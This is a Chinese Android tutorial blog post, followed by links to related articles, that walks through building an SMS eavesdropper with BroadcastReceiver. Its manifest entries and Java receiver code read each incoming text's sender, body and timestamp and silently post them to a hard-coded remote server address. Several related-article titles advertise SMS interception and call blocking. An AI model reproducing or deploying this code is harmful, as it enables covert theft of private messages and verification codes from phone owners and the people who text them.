android 使用BroadcastReceiver编写短信

原创 2015年07月07日 13:30:01

BroadcastReceiver编写短信***步骤:

  1. 第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限  
  2. <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
  3. <uses-permission android:name="android.permission.INTERNET"/>  
  4. 第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。  
  5. <!--  
  6. 系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图  
  7. 当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,  
  8. 则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->  
  9.     <receiver android:name=".MyBroadcast">  
  10.         <intent-filter>  
  11.              <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
  12.         </intent-filter>  
  13.     </receiver>  
  14. 第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。  
  15. 通过名称为pdus,就可以从上面的广播意图中获取短信的内容  
  16. public class MyBroadcast extends BroadcastReceiver {  
  17.     @Override  
  18.     public void onReceive(Context context, Intent intent) {  
  19.            
  20.         //得到的是Object 数组 每条短信是以字节数据的形式存放  
  21.             Object[] pduss = (Object[])intent.getExtras().get("pdus");  
  22.             for(Object pdus : pduss){  
  23.                 byte[] pdumessage  = (byte[])pdus;  
  24.                 SmsMessage sms = SmsMessage.createFromPdu(pdumessage);  
  25.                 String phone = sms.getOriginatingAddress();  
  26.                 String content = sms.getMessageBody();  
  27.                 Date  date  =  new Date(sms.getTimestampMillis());  
  28.                 SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
  29.                 String sendtime = sDateFormat.format(date);  
  30.             //将短信放在map容器中  
  31.             Map<String, String> map = new HashMap<String, String>();  
  32.                 map.put("phone",phone);  
  33.                 map.put("content",content);  
  34.                 map.put("sendtime", sendtime);  
  35.                 String path="http://218.67.59.20:8080/test/index.jsp";  
  36.                 try {  
  37.                     //将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容  
  38.                     SmsToWeb.post(path, map, "UTF-8");  
  39.                 } catch (Exception e) {  
  40.                     // TODO Auto-generated catch block  
  41.                     e.printStackTrace();  
  42.                 }  
  43.             }  
  44.     }  
  45.   
  46. }  
版权声明:本文为博主http://www.feixueteam.net原创文章,未经博主允许不得转载。

android 使用BroadcastReceiver编写短信窃听器

BroadcastReceiver编写短信窃听器步骤: 第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限 第二步:订阅android系统短信...
  • wbelove
  • wbelove
  • 2011年12月04日 14:56
  • 524

Android实训案例(六)——四大组件之一BroadcastReceiver的基本使用,拨号,短信,SD卡,开机,应用安装卸载监听

标签: androidbroadcastreceiver短信应用class 2016-04-10 18:16 2734人阅读 评论(0) 收藏 举报 本文章已收录于:   Andro...

android开发之短信监听拦截_BroadcastReceiver的使用

1.广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。       普通广播是完全异步的,可以在同一时刻(逻辑上)被所...

Android实训案例(六)——四大组件之一BroadcastReceiver的基本使用,拨号,短信,SD卡,开机,应用安装卸载监听

Android实训案例(六)——四大组件之一BroadcastReceiver的基本使用,拨号,短信,SD卡,开机,应用安装卸载监听 Android中四大组件的使用时重中之重,我这个阶段也不奢望能...

Android实训案例(六)——四大组件之一BroadcastReceiver的基本使用,拨号,短信,SD卡,开机,应用安装卸载监听

Android实训案例(六)——四大组件之一BroadcastReceiver的基本使用,拨号,短信,SD卡,开机,应用安装卸载监听 Android中四大组件的使用时重中之重,我这个阶段...

Android实践—BroadcastReceiver应用于短信监控

路漫漫其修远兮,吾将上下而求索——屈原 前言:由于本人接触Android不久,仅发表自己目前一些浅薄的看法,待学习深入之后会继续完善 首先先简单介绍一下BroadcastReceiver类,Broad...
  • LJWLgl
  • LJWLgl
  • 2016年08月02日 16:00
  • 209

Android学习笔记_19_广播接收者 BroadcastReceiver及其应用_窃听短信_拦截外拨电话

一、广播接收者类型:   广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。 普通广播是完全异步的,可以在同一...

android 广播接收者--BroadcastReceiver (实现短信窃听)

广播接收者--BroadcastReceiver广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()...

Android利用BroadcastReceiver实现短信监听

原文地址 http://www.open-open.com/lib/view/open1380371837182.html MainActivity如下: 01 ...

android BroadcastReceiver详细讲解1-自带的广播接受器-拨号、短信、卸载/安装、开机启动

android中自带的广播接受器在上一篇文章中SD卡的监听 下面我继续来介绍安装与卸载的监听 我们先了解android中安装与卸载的action ...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:android 使用BroadcastReceiver编写短信
举报原因:
原因补充:

(最多只允许输入30个字)